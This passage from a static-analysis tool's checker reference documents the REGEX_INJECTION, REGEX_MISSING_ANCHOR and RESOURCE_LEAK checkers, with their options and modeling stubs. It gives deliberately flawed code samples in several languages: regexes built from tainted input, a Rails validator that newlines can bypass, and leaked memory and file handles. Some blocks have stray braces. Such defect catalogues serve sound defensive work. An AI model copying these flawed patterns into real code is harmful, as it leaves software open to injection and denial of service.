This section provides one or more `REGEX_INJECTION` examples.

#### 4.262.3.1. C#

```
String req = Request["tainted"]; //req contains tainted value
Regex rgx = new Regex(req); // Using tainted value to construct a Regex class
// is a REGEX_INJECTION defect.
```

#### 4.262.3.2. Java

```
String foo = req.getParameter("foo");
Pattern pat = Pattern.compile("^(" + foo + ")?(foo|bar)");
Matcher mat = pat.matcher(document);
// ...
```

#### 4.262.3.3. JavaScript

```
// Setting a regular expression from a user's input
var regex = new RegExp(location.hash.substring(1));
```

#### 4.262.3.4. Ruby

```
class ExampleController < ApplicationController
 def search
 pattern = /^example-#{params[:query]}$/
 end
end
```

#### 4.262.3.5. Swift

```
import Foundation

func processDocumentNode(string: String, store: NSUbiquitousKeyValueStore) ->
 [NSTextCheckingResult] {
 // obtain the regex pattern from an insecure location
 let regex: String = store.string(forKey: "regex")!

 do {
 let regex = try NSRegularExpression(pattern: regex) // Defect Here
 return regex.matches(in: string,
```

```

 range: NSRange(0, string.utf16.count))
 } catch {
 print("Error")
 }
 return []
}

```

#### 4.262.3.6. Visual Basic

```

Dim req As String = Request("tainted") ' req contains tainted value
Dim rgx As Regex = New Regex(req) ' Using tainted value to construct a Regex class
 ' is a REGEX_INJECTION defect.

```

#### 4.262.4. Options

This section describes one or more `REGEX_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `REGEX_INJECTION:distrust_all:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this option to `true` is equivalent to setting all `trust_*` checker options for this checker to `false`. Defaults to `REGEX_INJECTION:distrust_all:false`. This checker option is automatically set to `true` if the `--webapp-security-aggressiveness-level` option of the **cov-analyze** command is set to `high`.
- `REGEX_INJECTION:trust_js_client_cookie:<boolean>` - [JavaScript, TypeScript only] When this option is set to `false`, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `REGEX_INJECTION:trust_js_client_cookie:true`.
- `REGEX_INJECTION:trust_js_client_external:<boolean>` - [JavaScript, TypeScript only] When this option is set to `false`, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `REGEX_INJECTION:trust_js_client_external:false`.
- `REGEX_INJECTION:trust_js_client_html_element:<boolean>` - [JavaScript, TypeScript only] When this option is set to `false`, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `REGEX_INJECTION:trust_js_client_html_element:true`.
- `REGEX_INJECTION:trust_js_client_http_header:<boolean>` - [JavaScript, TypeScript only] When this option is set to `false`, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `REGEX_INJECTION:trust_js_client_http_header:true`.
- `REGEX_INJECTION:trust_js_client_http_referer:<boolean>` - [JavaScript, TypeScript only] When this option is set to `false`, the analysis does not trust data from the 'referrer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `REGEX_INJECTION:trust_js_client_http_referer:false`.

- `REGEX_INJECTION:trust_js_client_other_origin:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `REGEX_INJECTION:trust_js_client_other_origin:false`.
- `REGEX_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - [JavaScript, TypeScript only] When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `REGEX_INJECTION:trust_js_client_url_query_or_fragment:false`.
- `REGEX_INJECTION:trust_command_line:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `REGEX_INJECTION:trust_command_line:true`. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `REGEX_INJECTION:trust_console:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `REGEX_INJECTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.
- `REGEX_INJECTION:trust_cookie:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `REGEX_INJECTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `REGEX_INJECTION:trust_database:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `REGEX_INJECTION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `REGEX_INJECTION:trust_environment:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `REGEX_INJECTION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `REGEX_INJECTION:trust_filesystem:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `REGEX_INJECTION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `REGEX_INJECTION:trust_http:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `REGEX_INJECTION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `REGEX_INJECTION:trust_http_header:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `REGEX_INJECTION:trust_http_header:false`. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.

- `REGEX_INJECTION:trust_mobile_other_app:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require permission to communicate with the current application component. Defaults to `REGEX_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `REGEX_INJECTION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires permission to communicate with the current application component. Defaults to `REGEX_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `REGEX_INJECTION:trust_mobile_same_app:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `REGEX_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `REGEX_INJECTION:trust_mobile_user_input:<boolean>` - [JavaScript, Swift, TypeScript only] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `REGEX_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.
- `REGEX_INJECTION:trust_network:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `REGEX_INJECTION:trust_network:false`. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `REGEX_INJECTION:trust_rpc:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to `REGEX_INJECTION:trust_rpc:false`. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.
- `REGEX_INJECTION:trust_system_properties:<boolean>` - [Swift only] Setting this option to false causes the analysis to treat data from system properties as tainted. Defaults to `REGEX_INJECTION:trust_system_properties:true`. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

## 4.263. REGEX\_MISSING\_ANCHOR

Security Checker

### 4.263.1. Overview

**Supported Languages:** Ruby

`REGEX_MISSING_ANCHOR` finds regular expressions where proper anchors to the beginning and end of the string are not specified (CWE-777).

**Enabled by default:** `REGEX_MISSING_ANCHOR` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.263.2. Defect Anatomy

In Ruby, the correct anchors for matching the beginning and end of a string are `\A` and `\z` respectively. If a Ruby on Rails model format validator uses a regular expression missing one or both anchors, a `REGEX_MISSING_ANCHOR` defect is reported.

### 4.263.3. Examples

This section provides one or more `REGEX_MISSING_ANCHOR` examples.

The following Ruby on Rails code example demonstrates use of incorrect anchors `^` and `$` in a regular expression. These anchors match the beginning and end of a line, which might allow an attacker to bypass the validation with newline characters.

```
class User < ActiveRecord::Base
 validates_format_of :name, :with => /^[a-zA-Z]+$/
end
```

## 4.264. RESOURCE\_LEAK

Quality, Security (Java) Checker

### 4.264.1. Overview

**Supported Languages:** C, C++, C#, Objective-C, Objective-C++, Java, Ruby, Visual Basic

`RESOURCE_LEAK` looks for cases in which a program fails to guarantee release of system resources as soon as possible. An application that fails to release acquired resources can suffer performance degradation, crashes, denial of service, or the inability to successfully obtain a given resource.

**Enabled by default:** `RESOURCE_LEAK` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

**Android (Java only):** For Android-based code, this checker finds issues related to user activities, screen activities, application state, and other items.



#### Note

For details about the Dynamic Analysis version of this checker, see Section 4.265, “`RESOURCE_LEAK` (Java Runtime)”.

#### 4.264.1.1. C/C++

For C/C++, `RESOURCE_LEAK` finds many types of resource leaks from variables that go out of scope while "owning" a resource (most commonly, freshly allocated memory).

Small memory leaks can cause problems for processes running for long periods of time without restarting. Severe memory leaks can cause a process to crash. A denial-of-service attack can occur if user input or data from the network triggers a memory leak.

File descriptor or socket leaks can lead to crashes, denial of service, and the inability to open more files or sockets. The operating system limits how many file descriptors and sockets a process can own. After the limit is reached, the process must close some of the resources' open handles before allocating more. If the process has leaked these handles, there is no way to reclaim these resources until the process terminates.

Many memory leaks are on error paths where an error condition is encountered and memory is leaked accidentally. Some of these cases can be eliminated by having a single exit label in the function that every error exit goes to with a `goto` statement. This exit label can free resources as necessary.

A common technique for avoiding memory leaks is to use arenas that remember all memory allocated on the arena until a single freeing point frees it all. When appropriate, arena allocators have significant speed and correctness advantages.

In C++, the Resource Acquisition Is Initialization (RAII) idiom can free resources automatically. The idiom consists of a class with a constructor that allocates a resource and a destructor that frees the resource. When a local variable of that class type is declared, it will automatically call the destructor to free the resource when leaving the scope. This also protects against leaks caused by thrown exceptions.

By default, the checker makes the following assumptions to reduce false positives:

- Unimplemented functions alias or free parameters.
- Pointers that are passed through `...` (ellipsis for unspecified number of arguments) are being passed to a function that does not cause a resource leak.
- Memory is freed when `main()` returns.
- A tracked pointer cast to an integer is being aliased.

You can enable options to change these assumptions and increase the number of defects reported.

#### 4.264.1.2. C# and Visual Basic

In C# and Visual Basic, there is no guarantee that .NET Garbage Collector will close system resources in time or at all even though, in some cases, it closes such resources when they become unreachable by other objects. Relying on the garbage collector or on finalizers to clean up these resources causes them to be retained longer than necessary. This waste can lead to a state of resource exhaustion in which your program or other programs that are running on the same system fail due to their inability to obtain these resources. Thus, it is good practice to explicitly release these resources as soon as possible. When available, the `Dispose()` and `Close()` methods allow for the explicit release of resources.

The `RESOURCE_LEAK` checker does not report defects in cases where it finds that a `Dispose()` method can never release resources.

#### 4.264.1.3. Java and C#

In Java and C# the `RESOURCE_LEAK` checker looks for failures to release system resources other than memory. Holding on to system resources longer than necessary can dramatically affect the throughput, availability, reliability, and scalability of an application and anything else competing for the same resources. For example, failing to close a database connection can keep it open unnecessarily and eventually lead to database connections being denied. Or, failing to close a file can keep other processes from manipulating that same file, or precipitate exhaustion of per-process, per-user, or system-wide open file handles.

In addition, the `RESOURCE_LEAK` checker for Java and C# can find some logical errors, such as retaining references to objects that are never used again. These are found because the checker looks for a specific pattern: the creation of an object implementing `IDisposable` (C#), `Closeable` or `AutoCloseable` (Java) in which *something interesting* would happen in the execution of the `Dispose` (C#) or `close` (Java) method, but that method is not called along a given execution path.

To ensure the checker is broadly applicable to different kinds of resources, it has a broad interpretation of *something interesting* happening in the `Dispose` (C#) or `close` (Java) method. As a result, when `Dispose` (C#) or `close` (Java) is a no-op, such as for a `StringWriter`, the checker does not consider the object to need closing (no defect). When `Dispose` (C#) or `close` (Java) does something interesting other than release a system resource, such as modify an object other than the one being closed, common practice dictates that the method should be invoked when finished with the object. Thus, failing to invoke `Dispose` or `close` in such a case is reported as a `RESOURCE_LEAK` but actually constitutes either a logical error or a violation of common practice. The "Java and C# Models" section below describes how to customize the checker not to report on certain objects if desired.



#### Note

In Java the `RESOURCE_LEAK` checker finds leaks of resources that are referenced only by local variables. It works inter-procedurally to identify the methods that return resources and the methods that save or close resources that are passed into them. It does not track resources that are stored into object fields. You can use the Dynamic Analysis `RESOURCE_LEAK` checker to find leaks of such resources.

##### 4.264.1.3.1. Garbage Collection

In Java and C# runtime systems, the garbage collector cannot be relied upon to free system resources. The primary function of the garbage collector is to reclaim memory by finding objects that are no longer referenced. Since any sufficiently sized memory space can satisfy an allocation request, there's no guarantee when a particular object's memory will be reclaimed. Generational garbage collectors take advantage of this flexibility to optimize the speed of garbage collection, but this affects a secondary function of the garbage collector, which is to run finalizers on any objects it reclaims, so that system resources associated with reclaimed objects are themselves freed or reclaimed.

Because there is no guarantee when a particular object will be reclaimed, there is no guarantee when system resources associated with unreferenced objects will be reclaimed. The runtime can hold open

unreferenced resources indefinitely while the garbage collector is doing its job of reclaiming enough memory for new objects, even if the program explicitly asks for the garbage collector to wake up and run.

#### 4.264.1.3.2. Best Practices for Memory and Resource Use

Because of these limitations in the Java / C# garbage collector, a program must `Dispose` (C#) or `close` (Java) an object referencing system resources before losing the last reference to that object, to ensure timely release of those resources. Simply calling `Dispose` or `close` after finishing with the resource is often not sufficient because the method will not be called if an exception is thrown.

We recommend the `using` statement in C# or the `try-with-resources` statement in Java to ensure a disposable or closeable object is disposed or closed on all paths exiting a block, including exception cases. Otherwise, calling `Dispose` (C#) or `close` (Java) in a `finally` block is equally effective but more verbose and prone to mistakes.

We also recommend these idioms for all `IDisposable`, `Closeable`, and `AutoCloseable` objects, because it is hard to be certain about which objects do not actually need disposing or closing. Sources on the internet can contain misleading or incorrect information. Even if class X has an empty `close` method, a subclass of X might have an interesting `close` method, or class X might be modified in the future.

#### 4.264.1.3.3. Limitations

As described above, the `RESOURCE_LEAK` checker for Java and C# is intelligent about objects that don't need to be disposed or closed, but might overestimate the set of objects associated with resources that need to be released. Some resources might be practically inexhaustible in a particular environment: you're likely to run out of managed memory before exhausting the system resource. However, the same might not be true in other execution environments. And some objects reported by `RESOURCE_LEAK` simply are "expected to be disposed/closed" even if they do not hold on to system resources. The "Java and C# Models" section below describes how to customize the checker not to report on certain objects if desired.

To report a defect, the `RESOURCE_LEAK` checker has to determine with high confidence that no reference to the resource survives beyond execution of the current function, because such a reference could be used to close or dispose of the object later. Due to this and other analysis limitations, `RESOURCE_LEAK` does not currently report a defect on references assigned to fields of an object or to array elements.

#### 4.264.1.4. Ruby

For Ruby on Rails: In Ruby versions prior to 2.2.0, Symbol objects were never garbage collected. Although Symbols use very little memory, if code created Symbols dynamically from user-supplied values, an attacker could potentially cause the process to run out of memory.

### 4.264.2. Defect Anatomy

A `RESOURCE_LEAK` defect consists of two parts: First it shows a resource, such as memory (in C/C++ or a file handle, socket, or database connection (in any language), being allocated or opened. Then it shows a control flow path on which all variables holding on to the resource go out of scope without the resource being properly cleaned up (by deallocating it, returning the handle to the operating system,

closing the connection, and so on). In other words, it shows a path on which cleanup of the resource is impossible. At some function call sites, the path might indicate that the called function neither disposes of the resource nor stores it where it can be disposed of later.

For Ruby on Rails: If the application being analyzed specifies a Ruby version older than 2.2.0 and a version of Ruby on Rails prior to 5.0.0, `RESOURCE_LEAK` defects will be reported for symbols created from dynamic values.

### 4.264.3. Examples

This section provides one or more `RESOURCE_LEAK` examples.

#### 4.264.3.1. C/C++

```
int leak_example(int c) {
 void *p = malloc(10);
 if(c)
 return -1; // "p" is leaked
 /* ... */
 free(p);
 return 0;
}
```

```
int wrong_error_check() {
 void *p = malloc(10);
 void *q = malloc(20);
 if(!p || !q)
 return -1; // "p" or "q" may be leaked if the other is NULL
 /*...*/
 free(q);
 free(p);
 return 0;
}
```

```
int test(int i) {
 void *p = malloc(10);
 void *q = malloc(4);
 if(i > 0)
 p = q; /* p is overwritten and is the last pointer
else to the allocated memory */
 free(q);
 free(p);
 return 0;
}
```

```
void test(int c) {
 FILE *p = fopen("foo.c", "rb");
 if(c)
 return; // leaking file pointer "p"
 fclose(p);
}
```

```
}
```

The following example shows `RESOURCE_LEAK` reporting a defect when the `allow_unimpl` option is enabled:

```
extern void unimpl(void *p);
void calls_unimpl() {

 char *p = strdup("memory");
 unimpl(p); /* Defect: "p" is leaked because unimpl function
 does not save memory */
}
}
```

The following example shows `RESOURCE_LEAK` reporting a defect when the `allow_virtual` option is enabled:

```
void simple(void *p) { /* does nothing */ }

void calls_fnptr() {
 char *p = strdup("memory");
 void (*fnptr)(void *) = simple;
 fnptr(p); // Defect
}
}
```

The following is an example of leaked handle defect:

```
int handle_leak_example(int c) {
 int fd = open("my_file", MY_OPEN_OPTIONS);
 if(c)
 return -1; // "fd" is leaked
 /* ... */
 close(fd);
 return 0;
}
}
```

#### 4.264.3.2. C#

In the following example, the `leak` method stores a new `MyDisposable` resource in `d` but never closes it.

```
class ResourceLeak {
 class MyDisposable : IDisposable {
 private FileStream fs;
 public MyDisposable(String path) {
 fs = File.OpenRead(path);
 }

 public void Dispose() {
 fs.Close();
 }
 }
}
```

```

}

static void leak(string path) {
 IDisposable d = new MyDisposable(path);
 // Defect: The function exits without closing the obtained resource
}
}

```

#### 4.264.3.3. Java

```

import java.io.*;

public class ResourceLeak {
 public void processFiles(String... srcs) throws IOException {
 // Neither this method nor processStream closes
 // the FileInputStream
 for(String src : srcs) {
 processStream(new FileInputStream(src)); // RESOURCE_LEAK defect
 }
 }

 OutputStream dst;
 private void processStream(InputStream src) throws IOException {
 int b;
 while ((b = src.read()) >= 0) {
 dst.write(b);
 }
 }
}

```

#### 4.264.3.4. Ruby

The following Ruby-on-Rails code example demonstrates converting an HTTP request value to a Symbol.

```

class ExampleController < ApplicationController
 def show
 name = params[:name].to_sym
 end
end

```

#### 4.264.3.5. Visual Basic

In the following example, the `leak` method stores a new `MyDisposable` resource in `d` but never closes it.

```

Imports System
Imports System.IO

Class ResourceLeak
 Class MyDisposable : Implements IDisposable
 Private fs As FileStream

```

```

 Public Sub New(path As String)
 fs = File.OpenRead(path)
 End Sub

 Public Sub Dispose() Implements IDisposable.Dispose
 fs.Close()
 End Sub
End Class

Shared Sub leak(path As String)
 Dim d As IDisposable = New MyDisposable(path)
 ' Defect: The function exits without closing the obtained resource
End Sub
End Class

```

#### 4.264.4. Options

This section describes one or more `RESOURCE_LEAK` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `RESOURCE_LEAK:allow_address_taken:<boolean>` - When this C/C++ option is true, the checker will report a leak even when the address of the resource pointer is taken. The checker does not keep track of the pointer address, so these reports have a high probability of being false positives, since the code could free the resource through the taken address later on. Defaults to `RESOURCE_LEAK:allow_address_taken:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `RESOURCE_LEAK:allow_aliasing:<boolean>` - When this C/C++ option and the `track_fields` option are true, the checker reports a resource leak for fields of potentially aliased pointers (for example, parameters) if the pointers are freed. Setting this option to true might yield more defects, but it can also cause the analysis to slow down and report more false positives. Defaults to `RESOURCE_LEAK:allow_aliasing:false`
- `RESOURCE_LEAK:allow_cast_to_int:<boolean>` - When this C/C++ option is true, the checker will report a leak even if the resource pointer was at some point cast to an integer. The checker does not keep track of what happens to such integers, so those reports have a high chance of being false positives because the code could cast the integer back to a pointer later. Defaults to `RESOURCE_LEAK:allow_cast_to_int:false` (for C and C++ only; assumes that a pointer is being aliased when it is cast).

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `RESOURCE_LEAK:allow_constructor:<boolean>` - When this C++ option and the `allow_unimpl` option are true, the checker will assume that constructors do not alias arguments. Defaults to `RESOURCE_LEAK:allow_constructor:false` (for C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `RESOURCE_LEAK:allow_main:<boolean>` - When this C/C++ option is true, the checker will report a resource leak in a function called `main`. Often, a program uses memory that is freed when `main` returns. By default, the analysis does not report memory that is not freed in `main` functions. Defaults to `RESOURCE_LEAK:allow_main:false` (for C and C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `RESOURCE_LEAK:allow_overwrite_model:<boolean>` - When this C/C++ option and the `track_fields` option are true, the checker will report a resource leak if a field that refers to a resource is overwritten in a function call. Setting this option to true might find more defects, but it can also cause the analysis to slow down and report more false positives. Defaults to `RESOURCE_LEAK:allow_overwrite_model:false` (for C and C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `RESOURCE_LEAK:allow_template:<boolean>` - When this C++ option and the `allow_unimpl` option are true, the checker will assume that template functions do not alias arguments. Defaults to `RESOURCE_LEAK:allow_template:false` (for C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `RESOURCE_LEAK:allow_unimpl:<boolean>` - When this C/C++ option is true, the checker will assume that a function does not alias (save) or free its arguments when its implementation is unavailable to the analysis. Setting this option to true usually causes the checker to report many false positives. However, you can use the false positives to determine which `free` functions to model and then run an analysis that returns real defects that would not have been found otherwise. Defaults to `RESOURCE_LEAK:allow_unimpl:false` (for C and C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `medium` (or to `high`).

- `RESOURCE_LEAK:allow_virtual:<boolean>` - When this C++ option and the `allow_unimpl` option are true, the checker will assume that virtual calls do not alias or free their arguments. Defaults to `RESOURCE_LEAK:allow_virtual:false` (for C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `RESOURCE_LEAK:no_vararg_leak:<boolean>` - When this C/C++ option is true, the checker will not report a resource leak if a pointer is passed to a variadic function (a function that can take different numbers of arguments). The C function `printf` is an example of a variadic function that takes one argument that specifies the output formatting and any number of arguments providing the values to be formatted. By default, in this case, the checker reports a defect because pointers are often passed to

`printf`, which does not prevent pointers from causing a resource leak. You might use this option if you are encountering false positives because a variadic function is freeing or aliasing parameters. Defaults to `RESOURCE_LEAK:no_vararg_leak:false` (for C and C++ only)

- `RESOURCE_LEAK:report_handles:<boolean>` - When this C/C++ option is true, the checker will report of leaks of non-pointer "handles," in addition to memory leaks. A fixed list of handle opening functions is built into the checker, most of which are POSIX functions, along with a similar list of handle closing functions. Direct user modeling using Coverity modeling primitives is not yet supported, but custom models can be written using `open()` and `close()` as the opening and closing primitives. Defaults to `RESOURCE_LEAK:report_handles:true` (for C and C++ only)

Example:

```
int my_custom_open(char const *name) {
 return open(name, 0); /* second argument doesn't matter */
}

int my_custom_close(int fd) {
 return close(fd);
}
```

- `RESOURCE_LEAK:track_fields:<boolean>` -When this C/C++ option is true, the checker will track structure fields and report resource leaks that involve resources referred to by them. Setting this to true might find more defects, but it can also cause the analysis to slow down and report more false positives. Defaults to `RESOURCE_LEAK:track_fields:false` (for C and C++ only)

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the `cov-analyze` command is set to `medium` (or to `high`).



#### Note

By default, the `RESOURCE_LEAK` checker suppresses several types of defect reports because they are often false positives. However, you can enable options to make this checker report more defects. Enabling these options will most likely increase the number of false positives. Some options can also increase the analysis time.

### 4.264.5. Events

This section describes one or more events produced by the `RESOURCE_LEAK` checker.

- `alloc_arg` - [C/C++] A function that dynamically allocates memory stores that memory in one of its arguments.
- `alloc_fn` - [C/C++] A function is called that dynamically allocates and returns memory.
- `leaked_handle` - [C/C++] A handle that is the last reference to an allocated resource goes out of scope.
- `leaked_storage` - [C/C++] A pointer that is the last reference to a dynamically allocated block of memory goes out of scope.

- `open_arg` - [C/C++] A function that allocates a system resource stores a handle for that resource in one of its arguments..
- `open_fn` - [C/C++] A function is called that returns a handle for an allocated system resource.
- `overwrite_var` - [C/C++] A pointer or handle is overwritten that held the last reference to a dynamically allocated block of memory or an allocated system resource.
- `pass_arg` - [C/C++] A pointer to dynamically allocated memory is passed to a function that does not free that memory or store its reference in a data structure persisting beyond the function's scope, or a handle for an allocated system resource is passed to a function that does not close that handle or store it. Suppress this event if that is not the case.
- `var_assign` - [C/C++] A pointer is assigned either the return value from a function that allocates memory or a value from another pointer that holds dynamically allocated memory, or a handle is assigned either the return value from a function that allocates a system resource or a value from another handle that refers to an allocated system resource.

## 4.264.6. Models

### 4.264.6.1. C/C++ Models

The `RESOURCE_LEAK` checker has configurable false positives that involve cases where one of the following is true:

- Coverity Analysis believes that memory was allocated when it was not.
- Coverity Analysis believes that memory is not freed even though it was passed to a freeing function.
- Coverity Analysis does not realize that a function call with an allocated pointer argument will, on all paths, keep a reference to that pointer in a persistent data structure.

To address these false positives, you can:

- Create library functions indicating the proper behavior.
- Annotate the code to ignore a reported event. This is the right solution when Coverity Analysis falsely assumes a data dependency in the code that creates a scenario in which a resource leak is likely to occur.

Modeling is the best option for suppressing a false positive when an allocation or deallocation function's abstract behavior is very simple but its implementation is not. Suppose, for example, that you have an allocation function that always returns a non-zero when memory is allocated and a 0 when it is not. Most allocation functions are implemented this way, and Coverity Analysis will, in most cases, analyze the allocation function and infer this abstraction.

If the analysis cannot infer the correct behavior, you can create a stub function describing the correct behavior and add it to the Coverity Analysis analysis. If the function is called `my_alloc`, for example, and the allocated pointer is returned through argument 1, you can write the following model for `my_alloc`:

```

int condition;
int my_alloc(void** ptr, size_t size)
{
 if (condition) {
 *ptr = 0;
 return 0;
 }
 *ptr = __coverity_alloc__(size);
 return 1;
}

```

In this function, there are two possible behaviors: 1) memory is allocated and the return value is `1`, or 2) memory is not allocated and the return value is `0`. The stub function uses an uninitialized variable, `condition`, to indicate that both possibilities are likely.

This function is not analyzed for bugs, so it is not wrong to use an uninitialized variable. These stub functions are used to abstract the behavior of an interface. In this case, the abstract behavior is that any call to this allocator can have one of two equally likely outcomes. Using the variable `condition` provides a simple way to encode the fact that these two possibilities are equally likely regardless of the calling context. Alternatively, if all paths in a function allocate memory, a `coverity[+alloc]` function annotation can be used in place of a `__coverity_alloc__` call.

Similarly, if Coverity Analysis does not understand that a particular function deallocates memory under certain conditions, the right solution is to add a stub function that explicitly deallocates the pointer supplied as an argument:

```

void my_free(void* ptr)
{
 __coverity_free__(ptr);
}

```

If the behavior of `my_free` included contextual dependencies based on the value of an argument or the return value, this could be encoded in the stub function in a fashion similar to the `my_alloc` function above. Alternatively, if all paths in a function free memory assigned to an argument, a `coverity[+free]` function annotation can be used in place of a `__coverity_free__` call.

#### 4.264.6.2. Java and C# Models

You can increase the accuracy of the `RESOURCE_LEAK` checker by writing a small stub function that demonstrates known allocation and freeing routines. Using this supplemental information, Coverity Analysis is able to locate paths through the code where such resources can be allocated but are not properly freed. By calling a Coverity `open()` or `close()` method in Java (`Open()` or `Close()` in C#), the analysis can determine which routines allocate or free the given object.

Java example:

```

import com.coverity.primitives.Resource_LeakPrimitives;

public class ResourceLeakExample_Model {
 ResourceLeakExample_Model() {

```

```
Resource_LeakPrimitives.open(this);
}

void close() {
 Resource_LeakPrimitives.close(this);
}
}
```

C# example:

```
using Coverity.Primitives;

public class ResourceLeakExample_Model {
 ResourceLeakExample_Model() {
 Reference.Open(this);
 }

 public void Dispose() {
 Reference.Close(this);
 }
}
```

With the above model, `ResourceLeakExample_Model` and any subclasses are treated as resources. There is currently no easy way to model that all implementors of an interface should be considered a resource; however, the analysis does consider all implementors of `java.io.Closeable()` (`System.IDisposable` in C#) as possible resources.

A common idiom in Java and C# is to wrap resources (for example, streams) in another resource. In the following Java example, `fis` and `bis` are treated as aliases of the same resource, because closing either is sufficient for releasing the underlying resource.

Java example:

```
FileInputStream fis = new FileInputStream("foo");
BufferedInputStream bis = new BufferedInputStream(fis);
```

C# example:

```
var fs = new FileStream("foo", FileMode.Create);
var sw = new StreamWriter(fs);
```

Modeling can eliminate false positive defects involving wrappers that are unknown to the analysis, using the `alias` primitive in Java (`Alias` in C#), as in the following examples.

Java example:

```
public class ResourceLeakExample_Wrapper {
 public ResourceLeakExample_Wrapper(OutputStream out) {
 // Let 'this' refer to the same resource as 'out'
 Resource_LeakPrimitives.alias(this, out);
 }
}
```

```
// ... (more methods)
}
```

**C# example:**

```
public class ResourceLeakExample_Wrapper {
 public ResourceLeakExample_Wrapper(System.IO.Stream out) {
 // Let 'this' refer to the same resource as 'out'
 Resource.Alias(this, out);
 }

 // ... (more methods)
}
```

Modeling can also prevent the analysis from treating specific implementors of `java.io.Closeable` (`System.IDisposable` in C#) as resources that need to be closed. To do this, simply close the potential resource as soon as it is created, in each constructor:

**Java example:**

```
public class ResourceLeakExample_DoesntNeedClosing
extends java.io.Reader // (which implements Closeable)
{
 public ResourceLeakExample_DoesntNeedClosing() {
 // This potential resource does not need closing
 Resource_LeakPrimitives.close(this);
 }
 public ResourceLeakExample_DoesntNeedClosing(int i) {
 // Need to model all constructors
 Resource_LeakPrimitives.close(this);
 }

 // ... (more methods)
}
```

Note that the subclasses will not be treated as resources.

**C# example:**

```
public class ResourceLeakExample_DoesntNeedClosing
: System.IO.Stream // (which implements IDisposable)
{
 public ResourceLeakExample_DoesntNeedClosing() {
 // This potential resource does not need closing
 Reference.Close(this);
 }
 {
 public ResourceLeakExample_DoesntNeedClosing(int i) {
 // Need to model all constructors
 Reference.Close(this);
 }
 }
}
```

```

}

// ... (more methods)

}

```

## 4.265. RESOURCE\_LEAK (Java Runtime)

Quality, Dynamic Analysis Checker

